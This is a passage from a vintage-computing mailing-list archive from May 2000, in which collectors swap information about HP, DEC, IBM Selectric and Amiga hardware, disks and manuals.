also picked up a 110+ with some manuals but no software. I'm not sure if > there even was software for the 110 series, since they're ROM based systems. A little bit, plus you could use some of the generic MS-DOS software that was suitable for the 150s on the 110 and Portable Plus. Once upon a time, I was doing Pascal compilations on a 110 using the Microsoft Pascal compiler on 150-format stiffies. (It wasn't a very fast development system.) -Frank McConnell From mikeford at socal.rr.com Fri May 12 01:03:02 2000 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 18:51:41 2005 Subject: Printing Infocom Transcripts from 8-bitters (was Re: KIM Manual / Selectric) In-Reply-To: <20000512041602.18478.qmail@web614.mail.yahoo.com> Message-ID: turn into detectable improvements in the game. I also pitched Infocom about porting RtZ to the Amiga, but it never happened. I got the underlying engine .......... Are you SURE, I am fairly certain I bid on a few cases of Infocomm Amiga versions (might have been the lost treasures series, but I thought it was more). From flo at rdel.co.uk Fri May 12 02:17:32 2000 From: flo at rdel.co.uk (Paul Williams) Date: Sun Feb 27 18:51:41 2005 Subject: DEC Correspondent (LA12) question... References: <20000511113648.A1560@loomcom.com> Message-ID: <391BB00C.FA565ACD@rdel.co.uk> sjm wrote: > > I've got a DEC Correspondent (Model LA12-DB) printing terminal. > But I've got no earthly clue how to configure the thing for baud > rate, flow control, stop bits, anything. There is some setup information in Chapter 13 and Appendix H of the Terminals and Printers Handbook 1983-84, online at http://vt100.net/docs/tp83/ From rigdonj at intellistar.net Fri May 12 08:30:10 2000 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:51:41 2005 Subject: Couple of cool HP 110/150 finds In-Reply-To: <000201bfbbb8$4a6b8440$59a40b18@C721564-A.sttln1.wa.home.co m> References: <3.0.1.16.20000511141746.343fae10@mailhost.intellistar.net> Message-ID: <3.0.1.16.20000512083010.264f4d3e@mailhost.intellistar.net> Hi Ernest, At 07:17 PM 5/11/00 -0700, you wrote: > > >-----Original Message----- >From: owner-classiccmp@classiccmp.org >[mailto:owner-classiccmp@classiccmp.org]On Behalf Of Joe >Sent: Thursday, May 11, 2000 12:18 PM >To: classiccmp@classiccmp.org >Subject: Re: Couple of cool HP 110/150 finds > > >> >>At 10:47 PM 5/2/00 -0700, Earnest said something about: > >>>Today, I was given a bunch of interesting vintage items. > >>> HP 88396 SCSI to parrallel interface. > > Did you ever find out more about this? > > I just picked up one of one yesterday with the cables. The other end of >the cable that fits the DB-25 connector has a male Centronics style >connector on it. The SCSI port has a feed-through type terminator on it. >Attached to that is a cable that has a micro-SCSI connector on the other >end of it. FWIW the box says "same functionality as 88395". > > Joe > >No, I haven't found anything out about it at all. I haven't really been >looking though, as I'm working on some other things with my Apple IIe. To >tell you the truth, I've been putting off working with my HP 150/110/110+ >stuff because I want to be able to devote some serious focus time to them. >My 150 needs to be re-setup I think, and that'll be a bit complicated for me >since I haven't set one up from scratch before. They're not hard to setup once you get through all the menus and get to the setup menu. Replace the two N-cells in the holder that clips into the back of the 150 before you start. They're used to power the CMOS memory and they're usually dead so the CMOS won't hold it's settings. I have more manuals for it >than I know what to do with, so I shouldn't have to hammer you with to many >questions. > >By the way, I found a new disk for the 150 Touchscreen: > >Advance Link Master#3 (45431-13003) A.01.01 2435 >Upload A.01.02 >Monitor 3000 A.02.04 > >Are you familiar with this bit of software? I'm assuming that it's comm >software for linking a 110/110+ to the 150 but I'm not sure. It's used to make the 150 emulate a terminal and is used to talk to the HP mainframes. I have the manual here, but the program isn't real usefull IMO. > >I also picked up a 110+ with some manuals but no software. I'm not sure if >there even was software for the 110 series, since they're ROM based systems. Actually there is a fair amount of software for the 110. I even have some game programs from Infocom that were modified to run on the 110. I dug out all my 110 software and it filled two good size boxs. I'm still going to make copies for your archives when I get a chance. Joe > >Ernest > > From John.Allain at donnelley.infousa.com Fri May 12 09:03:23 2000 From: John.Allain at donnelley.infousa.com (John Allain) Date: Sun Feb 27 18:51:41 2005 Subject: Selectric photo In-Reply-To: <007401bfbb08$c9f0d7c0$21703ed8@compaq> Message-ID: <000701bfbc1a$d666dbe0$0e0301ac@dba00802.databaseamerica.com> Thanks for the responses so far. FWIW I put up a picture of the "mechanical ALU" of the Selectric here: http://www.panix.com/~allain/ibm_sel.jpg The intriguing thing about it is how rapidly and simply it brought down the information from 50+ keys to such a relatively simple device, without loss of the keypress signature information. John A. From xds_sigma7 at hotmail.com Fri May 12 09:13:39 2000 From: xds_sigma7 at hotmail.com (Will Jennings) Date: Sun Feb 27 18:51:41 2005 Subject: Hmm, while we're HPing, how bout HP-125? Message-ID: <20000512141339.13688.qmail@hotmail.com> Hi, I have a pair of HP-125's, but no software or manuals or the external floppy drives they seem to come with.. have the printer though, and some HP-IB cables.. Anyone have stuff for em? PS, those are some of the WEIRDEST looking machines I've ever seen!!! Will J ________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com From RCini at congressfinancial.com Fri May 12 10:01:51 2000 From: RCini at congressfinancial.com (Cini, Richard) Date: Sun Feb 27 18:51:41 2005 Subject: OT: Looking for old book Message-ID: <497A9E0467D2D2119B760090271EB8E50E9105@MAIL10> Hello, all: Sorry for the intrusion, but I'm looking for either the following book, accompanying diskette, or both: "The Art of C" by Herbert Schildt. If anyone has a spare copy or wants to lighten their bookshelf a bit, please let me know off-list. Thanks! Rich ========================== Richard A. Cini, Jr. Congress Financial Corporation 1133 Avenue of the Americas 30th Floor New York, NY 10036 (212) 545-4402 (212) 840-6259 (facsimile) From sethm at loomcom.com Fri May 12 11:28:25 2000 From: sethm at loomcom.com (sjm) Date: Sun Feb 27 18:51:41 2005 Subject: DEC Correspondent (LA12) question... In-Reply-To: <391BB00C.FA565ACD@rdel.co.uk>; from flo@rdel.co.uk on Fri, May 12, 2000 at 08:17:32AM +0100 References: <20000511113648.A1560@loomcom.com> <391BB00C.FA565ACD@rdel.co.uk> Message-ID: <20000512092825.A4350@loomcom.com> On Fri, May 12, 2000 at 08:17:32AM +0100, Paul Williams wrote: > sjm wrote: > > > > I've got a DEC Correspondent (Model LA12-DB) printing terminal. > > But I've got no earthly clue how to configure the thing for baud > > rate, flow control, stop bits, anything. > > There is some setup information in Chapter 13 and Appendix H of the > Terminals and Printers Handbook 1983-84, online at > http://vt100.net/docs/tp83/ Hey, this is fantastic! Thanks -- I've been looking for exactly this reference for a while now. I'll have my LA12 humming along nicely now! -Seth -- "As a general rule, the man in the habit of murdering | Seth Morabito bookbinders, though he performs a distinct service | sethm@loomcom.com to society, only wastes his own time and takes no | personal advantage." -- Kenneth Grahame (1898) | Perth ==> * From george at racsys.rt.rain.com Fri May 12 11:35:35 2000 From: george at racsys.rt.rain.com (George Rachor) Date: Sun Feb 27 18:51:41 2005 Subject: Getting all the system connected... In-Reply-To: Message-ID: I took my minor collection to an educators conference here in the northwest a few years back. The conference organizers provided a lockable exhibit room and I provided old working machines. It was a real hit! I talk with a lot of teachers that went down memory lane when they saw some of my machines. My only rule that in order to be exhibited it had to run. Twas a lot of fun. George ========================================================= George L. Rachor Jr. george@racsys.rt.rain.com Beaverton, Oregon http://racsys.rt.rain.com United States of America Amateur Radio : KD7DCX On Wed, 10 May 2000, Mike Ford wrote: > What I always envisioned was some kind of traveling road show for old > computers. Something not too hard to setup and take down that would maybe > run some networked games etc. and show people what it was like in the "old" > days. > > Another idea I had was similar using compact macs, like the SE or SE/30, > and a traveling setup for demos of the net, email etc. > > > From ethan_dicks at yahoo.com Fri May 12 11:34:48 2000 From: ethan_dicks at yahoo.com (Ethan Dicks) Date: Sun Feb 27 18:51:41 2005 Subject: Printing Infocom Transcripts from 8-bitters (was Re: KIM Manual / Selectric) Message-ID: <20000512163448.21567.qmail@web615.mail.yahoo.com> --- Mike Ford wrote: > turn into detectable improvements in the game. I also pitched Infocom > about porting RtZ to the Amiga, but it never happened. I got the > underlying engine > ........... > > Are you SURE, I am fairly certain I bid on a few cases of Infocom Amiga > versions (might have been the lost treasures series, but I thought it was > more). It was Lost Treasures - I have the Amiga version as well as the PC version. LGoP2 and RtZ used an entirely different language and underlying platform. Zork Zero was the last thing out for the Amiga because it used the old scheme with graphic extensions. -ethan ===== Even though my old e-mail address is no longer going to vanish, please note my new public address: erd@iname.com The original webpage address is still going away. The permanent home is: http://penguincentral.com/ See http://ohio.voyager.net/ for details. __________________________________________________ Do You Yahoo!? Send instant messages & get email alerts with Yahoo! Messenger. http://im.yahoo.com/ From cisin at xenosoft.com Fri May 12 11:48:24 2000 From: cisin at xenosoft.com (Fred Cisin (XenoSoft)) Date: Sun Feb 27 18:51:41 2005 Subject: Keyboard actuator In-Reply-To: <200005120550.WAA28478@eskimo.com> Message-ID: > > > > It is vitally important that you not exceed 14.8 characters per second on > > > > Selectrics. > Yes, I understand that, but I was also wondering why the precise speed of > 14.8 characters per second. The number came from IBM. It MIGHT have been due to the specs of some key subassembly. OR Somebody quoted a very round figure in some other set of units (such as words per minute or baud rate) that was plus-or-minus 80%. Somebody else did the arithmetic to convert the units, and took it to 3 significant digit. Since it was in a reasonable range, and came from an authoritative source, it got quoted and canonized; and now is beyond challenge. They would definitely wear out FAST and would jam a lot if run too fast, and there were dire warnings and legends of flying shrapnel to further discourage experimentation. > Besides, "Balls-O-Meter" is fun to work into a conversation. I'm not sure > if all Selectrics have them, though (I think the early ones do). -- Grumpy Ol' Fred cisin@xenosoft.com From ard at p850ug1.demon.co.uk Fri May 12 13:03:08 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:51:41 2005 Subject: Keyboard actuator In-Reply-To: <200005120052.RAA24271@civic.hal.com> from "Dwight Elvey" at May 11, 0 05:52:25 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1410 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000512/ab774bd7/attachment.ksh From ard at p850ug1.demon.co.uk Fri May 12 13:33:21 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:51:41 2005 Subject: DEC stuff In-Reply-To: <3.0.1.16.20000511200333.143fe4c8@mailhost.intellistar.net> from "Joe" at May 11, 0 08:03:33 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 2737 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000512/3eca16a5/attachment.ksh From donm at cts.com Fri May 12 13:40:09 2000 From: donm at cts.com (Don Maslin) Date: Sun Feb 27 18:51:41 2005 Subject: Hmm, while we're HPing, how bout HP-125? In-Reply-To: <20000512141339.13688.qmail@hotmail.com> Message-ID: On Fri, 12 May 2000, Will Jennings wrote: > Hi, > I have a pair of HP-125's, but no software or manuals or the external floppy > drives they seem to come with.. have the printer though, and some HP-IB > cables.. Anyone have stuff for em? PS, those are some of the WEIRDEST > looking machines I've ever seen!!! That is the CP/M model, is it not Will? If so, I have the following: Name Format Description 12x-SYS DSDD HP 12x series (120/125) CP/M 2.2 system disk 12x-UTIL DSDD HP 12x series utilities 12x-TUT DSDD HP 12x series Computer Tutor 12x-WS DSDD HP 12x series Wordstar 3.0 12x-WORD DSDD HP 12x series The Word+ 12x-COND DSDD HP 12x series Condor 20 dbms 12x-VISI DSDD HP 12x series Visicalc 12x-GRPH DSDD HP 12x series Graphics 12x-DLNK DSDD HP 12x series to host comm programs - don From technoid at cheta.net Fri May 12 13:42:48 2000 From: technoid at cheta.net (technoid@cheta.net) Date: Sun Feb 27 18:51:41 2005 Subject: Reverse Engineered Infocom-compatible engine by Tom Hunt In-Reply-To: <20000512041602.18478.qmail@web614.mail.yahoo.com> Message-ID: <200005121841.OAA17897@lexington.ioa.net> A long time friend of mine in computers wrote a 'clean room' Infocom compatible engine for the Atari 8-bit. I'm sure he would be happy to share source. He runs the 'Closer to Home' web page/bbs. -- ----------------------------------------------------------- Jeffrey S. Worley Complete Computer Services 30 Greenwood Rd. Asheville, NC 28803 828-274-5781 0900-1800 weekdays Who is General Failure and why is he reading my hard disk? Technoid@Cheta.net ----------------------------------------------------------- From cem14 at cornell.edu Fri May 12 13:52:22 2000 From: cem14 at cornell.edu (Carlos Murillo-Sanchez) Date: Sun Feb 27 18:51:41 2005 Subject: QuickC libs Message-ID: <391C52E6.5A0F9F3D@cornell.edu> Hi all; I seem to have misplaced my installation disks for QuickC 2.0, and the computer where it is installed is missing the large model LLIBCE.LIB, LLIBC.LIB and LLIBFP.LIB libraries, which I need to be able to use my 82335 HPIB card with QuickC. Is there any kind soul out there who could provide me a copy while I find the diskettes? TIA, Carlos. -- Carlos Murillo-Sanchez email: cem14@cornell.edu 428 Phillips Hall, Electrical Engineering Department Cornell University, Ithaca, NY 14853 From technoid at cheta.net Fri May 12 13:59:53 2000 From: technoid at cheta.net (technoid@cheta.net) Date: Sun Feb 27 18:51:41 2005 Subject: 150-format stiffies? In-Reply-To: <200005120609.XAA17961@daemonweed.reanimators.org> Message-ID: <200005121858.OAA22136@lexington.ioa.net> I know what a conventional 'stiffy' is but my definition is WAY off topic... ;-) What is a stiffy in your context of 150 format? -- ----------------------------------------------------------- Jeffrey S. Worley Complete Computer Services 30 Greenwood Rd. Asheville, NC 28803 828-274-5781 0900-1800 weekdays Who is General Failure and why is he reading my hard disk? Technoid@Cheta.net ----------------------------------------------------------- From fmc at reanimators.org Fri May 12 15:07:46 2000 From: fmc at reanimators.org (Frank McConnell) Date: Sun Feb 27 18:51:41 2005 Subject: 150-format stiffies? In-Reply-To: technoid@cheta.net's message of "Fri, 12 May 2000 14:59:53 -0400" References: <200005121858.OAA22136@lexington.ioa.net> Message-ID: <200005122007.NAA41665@daemonweed.reanimators.org> technoid@cheta.net wrote: > I know what a conventional 'stiffy' is but my definition is WAY off > topic... ;-) > What is a stiffy in your context of 150 format? Consider an 8-inch diskette. See how it's flexible, and bends when you hold it by a corner and let it hang out horizontally? That's why we call it a floppy disk. Now, compare and contrast the typical 3.5" medium, of which most HP150 diskettes are examples. Kind of stiff by comparison, isn't it? -Frank McConnell From ard at p850ug1.demon.co.uk Fri May 12 16:14:29 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:51:41 2005 Subject: 150-format stiffies? In-Reply-To: <200005121858.OAA22136@lexington.ioa.net> from "technoid@cheta.net" at May 12, 0 02:59:53 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 387 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000512/e11cc23c/attachment.ksh From rigdonj at intellistar.net Fri May 12 17:43:45 2000 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:51:41 2005 Subject: Hmm, while we're HPing, how bout HP-125? In-Reply-To: <20000512141339.13688.qmail@hotmail.com> Message-ID: <3.0.1.16.20000512174345.0a2f0814@mailhost.intellistar.net> Hi Will, I have a 125 and a 120. The 120 is the same machine but it's the size and shape of a HP 9816. They use the regular HP 9121 and (I think) 9122 HP-IB floppy drives. I have some docs and software for them. I know I have CPM, PAM (HP's menu system) and a word processor for them. I don't remember what else. Joe At 08:13 AM 5/12/00 MDT, you wrote: >Hi, >I have a pair of HP-125's, but no software or manuals or the external floppy >drives they seem to come with.. have the printer though, and some HP-IB >cables.. Anyone have stuff for em? PS, those are some of the WEIRDEST >looking machines I've ever seen!!! > >Will J >________________________________________________________________________ >Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com > > From rigdonj at intellistar.net Fri May 12 18:01:16 2000 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:51:41 2005 Subject: DEC stuff In-Reply-To: References: <3.0.1.16.20000511200333.143fe4c8@mailhost.intellistar.net> Message-ID: <3.0.1.16.20000512180116.0a2f0ce0@mailhost.intellistar.net> At 07:33 PM 5/12/00 +0100, you wrote: >> >The PRO 350 (Professional 350) is essentially a desktop PDP11. There's an >> >F11 chipset in there (like in an 11/23) linked to a somewhat strange bus. >> >The video display system in also on that bus (like on a PC) -- it's not a >> >serial terminal which is more conventional for PDP11s. You link a VR201 >> >(composite mono) or VR241 (colour) monitor up the machine -- I believe >> >the latter needs some kind of video expansion card. User input is via an >> >LK201 keyboard (same keyboard as the VT220, etc). >> >> Yeap, I have to go back and look for the monitor. I didn't know what it >> used so I couldn't pick it out. > >IIRC, _Any_ Pro350 will work with the mono monitor (VR201), but you need >the video expansion card to really use the colour monitor... How can I tell which video system is in this one? It has a DB15M connector on the back and it simply says "video". I went back today and found a VR201 and three VR241s. They're marked bad but I grabbed them anyway. Do you know anything about what kind of cable does the VR241 uses? > > >> >> > >> >There's most likely an RX50 dual floppy drive in the right hand drive bay >> >and an RD50 or RD51 (5 or 10M winchester) in the left bay. >> >> I went through both machines today. The 350 has a RD51 and a RX50. > >OK, sounds pretty standard... > > >[Pro 350 cards] > >> I didn't pull the cards but it has a 000401, a 002004, a 001002 and a >> 000034. Can anyone id these? > >According to Megan's module list : > >000034 = RAM expansion >000401 = Winchester controller (for the RD51) >001002 = Video card (standard one, for the VR201. You need an 001403 >alongside it for the VR241 colour monitor) OK that's answers my question. Any idea what else uses the VR241? >002004 = RX50 floppy controller. > >So your machine needs the VR201 monitor (and LK201 keyboard), and >unfortunately doesn't contain any of the really 'cool' options... Oh well, some days chicken and some days feathers! > > >[Micro PDP11/73] >> >> This is a cool machine! I got into it today too. I found out that it has >> a Q-bus HP-IB card in it made by Tektronix! I saw the manuals and software > >Actually, at least over here, DEC GPIB cards for Q-bus (IBV11) aren't >_that_ rare. > >> for the card in the load that just came in. This machine was used a a >> controller for a Tektronix 7912(?) Digitizer. Besides the Tektronix card, >> it has a M8190, a M7551, and a M8639 card in it. Can anyone ID them? > >M8190 is a J11-based CPU board. Are there any letters after the number >(like -AB or something). OK here are all the suffixs; M8190 AB, M7551 BF and M8639 YB. BTW, Megan's list is a little confusing on this >card -- it says that the plain M8190 is the 11/84 CPU (which it may well >be) and is used in Unibus machines (which the 11/84 is). But the card >itself is _Qbus_. In the 11/84 there's a bus translator to convert Qbus >to Unibus. Don't put any M8190 card into a Unibus backplane. > >M7551 is the RAM card. Again, the suffix letters will tell you what size >it actually is. It's either 512kW, 1MW or 2MW. I booted it to the ROM monitor last night, it has 2 Mb total RAM. > >M8639 is the disk controller, for RX50 floppies and RD51/RD52 >winchesters. It's either an RQDX1 or an RQDX2, again depending on the suffix. Hmmm. It has a RD53 (85 Mb) drive in it. Maybe this is why I couldn't get it to boot. Or am I missing something? > >Hope that helps It does. Joe From rigdonj at intellistar.net Fri May 12 18:50:28 2000 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:51:41 2005 Subject: DEC stuff, pictures Message-ID: <3.0.1.16.20000512185028.400f4f5c@mailhost.intellistar.net> I'm uploading the pictures of the DEC pro 350 and the micro PDP right now. Here's the list: "www.intellistar.net/~rigdonj/dec/350tower.jpg", "www.intellistar.net/~rigdonj/dec/350-tag.jpg", "www.intellistar.net/~rigdonj/dec/350twrbk.jpg", "www.intellistar.net/~rigdonj/dec/350front.jpg", "www.intellistar.net/~rigdonj/dec/350insd.jpg", "www.intellistar.net/~rigdonj/dec/350-hd.jpg", "www.intellistar.net/~rigdonj/dec/350-fd.jpg", "www.intellistar.net/~rigdonj/dec/350cards.jpg", "www.intellistar.net/~rigdonj/dec/350bar.jpg", "www.intellistar.net/~rigdonj/dec/350-cpu.jpg", "www.intellistar.net/~rigdonj/dec/350-main.jpg", "www.intellistar.net/~rigdonj/dec/350-mem.jpg" and "www.intellistar.net/~rigdonj/dec/1173top.jpg", "www.intellistar.net/~rigdonj/dec/1173tag.jpg", "www.intellistar.net/~rigdonj/dec/1173back.jpg", "www.intellistar.net/~rigdonj/dec/1173fnt.jpg", "www.intellistar.net/~rigdonj/dec/1173fnt2.jpg", "www.intellistar.net/~rigdonj/dec/1173insd.jpg", "www.intellistar.net/~rigdonj/dec/1173card.jpg" Joe From gaz_k at lineone.net Wed May 10 02:19:38 2000 From: gaz_k at lineone.net (Gareth Knight) Date: Sun Feb 27 18:51:42 2005 Subject: classiccmp-digest V1 #163 References: <001901bfb9cd$f9f6d280$0200a8c0@marvin> Message-ID: <00ab01bfbc67$8d2c3040$f55701d5@gazk> Mark Gregory > Even the Amigas with Kickstart in ROM could be soft-kicked if necessary. I > ran an A2000 with a 1.3 ROM that soft-kicked to a 2.0 ROM image, so I could > run OS 2.0 when it was first released. Any Amiga can be softkicked with a different ROM version. The most common being KS1.3 degraders and KS3.x enhancers. The only exception to this rule is the latest release (AmigaOS 3.5) that requires a physical Kickstart 3.1 chip to run. -- Gareth Knight Amiga Interactive Guide http://amiga.emugaming.com From ard at p850ug1.demon.co.uk Fri May 12 18:30:13 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:51:42 2005 Subject: DEC stuff In-Reply-To: <3.0.1.16.20000512180116.0a2f0ce0@mailhost.intellistar.net> from "Joe" at May 12, 0 06:01:16 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 9077 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000513/8e6ac444/attachment.ksh From Innfogra at aol.com Sat May 13 00:21:46 2000 From: Innfogra at aol.com (Innfogra@aol.com) Date: Sun Feb 27 18:51:42 2005 Subject: Hmm, while we're HPing, how bout HP-125? Message-ID: <26.598524d.264e406a@aol.com> In a message dated 5/12/2000 11:45:35 AM Pacific Daylight Time, donm@cts.com writes: > > I have a pair of HP-125's, but no software or manuals or the external > floppy > > drives they seem to come with.. have the printer though, and some HP-IB > > cables.. Anyone have stuff for em? PS, those are some of the WEIRDEST > > looking machines I've ever seen!!! > > That is the CP/M model, is it not Will? If so, I have the following: > > Name Format Description > 12x-SYS DSDD HP 12x series (120/125) CP/M 2.2 system disk > 12x-UTIL DSDD HP 12x series utilities > 12x-TUT DSDD HP 12x series Computer Tutor > 12x-WS DSDD HP 12x series Wordstar 3.0 > 12x-WORD DSDD HP 12x series The Word+ > 12x-COND DSDD HP 12x series Condor 20 dbms > 12x-VISI DSDD HP 12x series Visicalc > 12x-GRPH DSDD HP 12x series Graphics > 12x-DLNK DSDD HP 12x series to host comm programs > > - don > Don; Are these 8" disks, 5 1/4" disks or 3 1/2" disks? I think I have some 5 1/4" HP HPIB disk drives that I think work on the 125s & 120s. I also have a 120 somewhere. I used to have a 125 and it is the CPM machine on a strange pedestal. They came in two heights. IIRC the 125 had a larger parallel Centronics type connector to hook up to 5 1/4" & 8" drives. Some of my disk drives have a dual plug set up, HPIB and this larger Centronics type connector. I am sure I don't have the large cable though. I have lots of HPIB cables. Paxton From mrdos at swbell.net Fri May 12 02:00:52 2000 From: mrdos at swbell.net (Owen Robertson) Date: Sun Feb 27 18:51:42 2005 Subject: IBM System/36 5363 Security Issue Message-ID: <000701bfbbdf$d1230ea0$a7893cd8@compaq> Does anyone know how to bypass security on an IBM System/36 5363? I have had one for over a year now, and have not been able to use it because I don't know the User ID or Password. Thanks, Owen Robertson -------------- next part -------------- An HTML attachment was scrubbed... URL: http://www.classiccmp.org/pipermail/cctalk/attachments/20000512/0be10853/attachment.html From rigdonj at intellistar.net Sat May 13 07:52:59 2000 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:51:42 2005 Subject: Hmm, while we're HPing, how bout HP-125? In-Reply-To: <26.598524d.264e406a@aol.com> Message-ID: <3.0.1.16.20000513075259.3b274a42@mailhost.intellistar.net> At 01:21 AM 5/13/00 EDT, Paxton wrote: >In a message dated 5/12/2000 11:45:35 AM Pacific Daylight Time, donm@cts.com >writes: > >> > I have a pair of HP-125's, but no software or manuals or the external >> floppy >> > drives they seem to come with.. have the printer though, and some HP-IB >> > cables.. Anyone have stuff for em? PS, those are some of the WEIRDEST >> > looking machines I've ever seen!!! >> >> That is the CP/M model, is it not Will? If so, I have the following: >> >> Name Format Description >> 12x-SYS DSDD HP 12x series (120/125) CP/M 2.2 system disk >> 12x-UTIL DSDD HP 12x series utilities >> 12x-TUT DSDD HP 12x series Computer Tutor >> 12x-WS DSDD HP 12x series Wordstar 3.0 >> 12x-WORD DSDD HP 12x series The Word+ >> 12x-COND DSDD HP 12x series Condor 20 dbms >> 12x-VISI DSDD HP 12x series Visicalc >> 12x-GRPH DSDD HP 12x series Graphics >> 12x-DLNK DSDD HP 12x series to host comm programs >> >> - don >> >Don; > >Are these 8" disks, 5 1/4" disks or 3 1/2" disks? I think I have some 5 1/4" >HP HPIB disk drives that I think work on the 125s & 120s. They usually have 3 1/2" drives but the 5 1/4" drives should work on them. But the 5 1/4" are SLLOOOWWWW! I also have a 120 >somewhere. You used to, I have it now (via Dan). > >I used to have a 125 and it is the CPM machine on a strange pedestal. They >came in two heights. IIRC the 125 had a larger parallel Centronics type >connector to hook up to 5 1/4" & 8" drives. Hmmm. I think you're confused here. I don't remember the 125 having a parallel connector. Are you sure that the connector that you're thinking of isn't the RS-232 connector? HP uses a 50 pin Centronics style connector for it. My 125 is buried at the moment so I can't check. Also I've never seen a 5 1/4" drive with the parallel connection. All of the ones that I'm aware of use HP-IB. Some of the 8" drives used the parallel ports. Some of my disk drives have a >dual plug set up, HPIB and this larger Centronics type connector. Hmmm. I've never heard of a drive having both interfaces. What model is that? >I am sure I >don't have the large cable though. I have lots of HPIB cables. I have one or two of the large parallel cables. They're part of a special version (option 85) of the HP 98032 16 bit parallel interface. Joe > >Paxton > From rigdonj at intellistar.net Sat May 13 10:19:55 2000 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:51:42 2005 Subject: DEC stuff In-Reply-To: References: <3.0.1.16.20000512180116.0a2f0ce0@mailhost.intellistar.net> Message-ID: <3.0.1.16.20000513101955.265ff69e@mailhost.intellistar.net> At 12:30 AM 5/13/00 +0100, Tony wrote: (Lots of details about the DEc monitors snipped) Thanks for the info. I have a Rainbow that I need to fix too so that should be a big help. >> Hmmm. It has a RD53 (85 Mb) drive in it. Maybe this is why I couldn't >> get it to boot. Or am I missing something? > >No, I think the RQDX2 (at least with the right ROMs) can handle this >drive. Unless there's reason to believe the drive has been swapped since >the machine last worked, I'd not worry about this. RD53s do have a >well-known failure mode where the heads stick to the 'rubber bumper' >inside, but this results in the drive failing to stay spun up. Does your >drive seem to behave properly in this respect? What exactly do you mean that they "fail to stay spun up"? This one seems to spin up fine but I didn't notice how long it kept spinning. I don't know if it's seeking or mot. I don't remember the exact error but it was "drive not ready" or something like that. (The error for the floppy drives was invalid or missing media but that's not surprising since there were no disks in them.) Is there a way to check to see if the head is sticking to the bumper or to release it? I wouldn't be surprised if this one is sticking, it's been sitting in storage for a good while. Joe From kyrrin at bluefeathertech.com Sat May 13 11:21:05 2000 From: kyrrin at bluefeathertech.com (Bruce Lane) Date: Sun Feb 27 18:51:42 2005 Subject: RT11 Pocket Guide Claimed Message-ID: <391D1E81.2955.3637E61D@localhost> Mark Honeycutt's E-mail had the earliest timestamp of three I received, so he's the lucky(?) recipient of the RT11 pocket guide I had advertised. For the record, John Allain's came in second, and Emanuel Stiebler third. Guys, I wish I had enough to go around, but thanks for your interest in any case. -=-=-=-=-=-=-=-=-=-=-=-=-=-=- Bruce Lane, Owner/Head Honcho, Blue Feather Technologies (www.bluefeathertech.com) kyrrin@bluefeathertech.com "SCSI Users, Unite! Beware the IDEs of March!" From healyzh at aracnet.com Sat May 13 11:38:02 2000 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 18:51:42 2005 Subject: DEC stuff In-Reply-To: <3.0.1.16.20000513101955.265ff69e@mailhost.intellistar.net> References: <3.0.1.16.20000512180116.0a2f0ce0@mailhost.intellistar.net> Message-ID: > What exactly do you mean that they "fail to stay spun up"? This one >seems to spin up fine but I didn't notice how long it kept spinning. I Does it sound like it spins up, then stops, then spins up, and so on? >don't know if it's seeking or mot. I don't remember the exact error but it >was "drive not ready" or something like that. (The error for the floppy Say, the buttons on the front panel, have you played with them? You might have the drive itself off-line. >were no disks in them.) Is there a way to check to see if the head is >sticking to the bumper or to release it? I wouldn't be surprised if this >one is sticking, it's been sitting in storage for a good while. Yes, but someone else will need to explain the incantations necessary to perform the surgery. Zane | Zane H. Healy | UNIX Systems Adminstrator | | healyzh@aracnet.com (primary) | Linux Enthusiast | | healyzh@holonet.net (alternate) | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.aracnet.com/~healyzh/ | From donm at cts.com Sat May 13 13:47:17 2000 From: donm at cts.com (Don Maslin) Date: Sun Feb 27 18:51:42 2005 Subject: Hmm, while we're HPing, how bout HP-125? In-Reply-To: <26.598524d.264e406a@aol.com> Message-ID: On Sat, 13 May 2000 Innfogra@aol.com wrote: > In a message dated 5/12/2000 11:45:35 AM Pacific Daylight Time, donm@cts.com > writes: > > > > I have a pair of HP-125's, but no software or manuals or the external > > floppy > > > drives they seem to come with.. have the printer though, and some HP-IB > > > cables.. Anyone have stuff for em? PS, those are some of the WEIRDEST > > > looking machines I've ever seen!!! > > > > That is the CP/M model, is it not Will? If so, I have the following: > > > > Name Format Description > > 12x-SYS DSDD HP 12x series (120/125) CP/M 2.2 system disk > > 12x-UTIL DSDD HP 12x series utilities > > 12x-TUT DSDD HP 12x series Computer Tutor > > 12x-WS DSDD HP 12x series Wordstar 3.0 > > 12x-WORD DSDD HP 12x series The Word+ > > 12x-COND DSDD HP 12x series Condor 20 dbms > > 12x-VISI DSDD HP 12x series Visicalc > > 12x-GRPH DSDD HP 12x series Graphics > > 12x-DLNK DSDD HP 12x series to host comm programs > > > Are these 8" disks, 5 1/4" disks or 3 1/2" disks? I think I have some 5 1/4" > HP HPIB disk drives that I think work on the 125s & 120s. I also have a 120 > somewhere. These are DSDD 5.25". It may well be possible to 'build' 3.5" disks from them, though. - don > I used to have a 125 and it is the CPM machine on a strange pedestal. They > came in two heights. IIRC the 125 had a larger parallel Centronics type > connector to hook up to 5 1/4" & 8" drives. Some of my disk drives 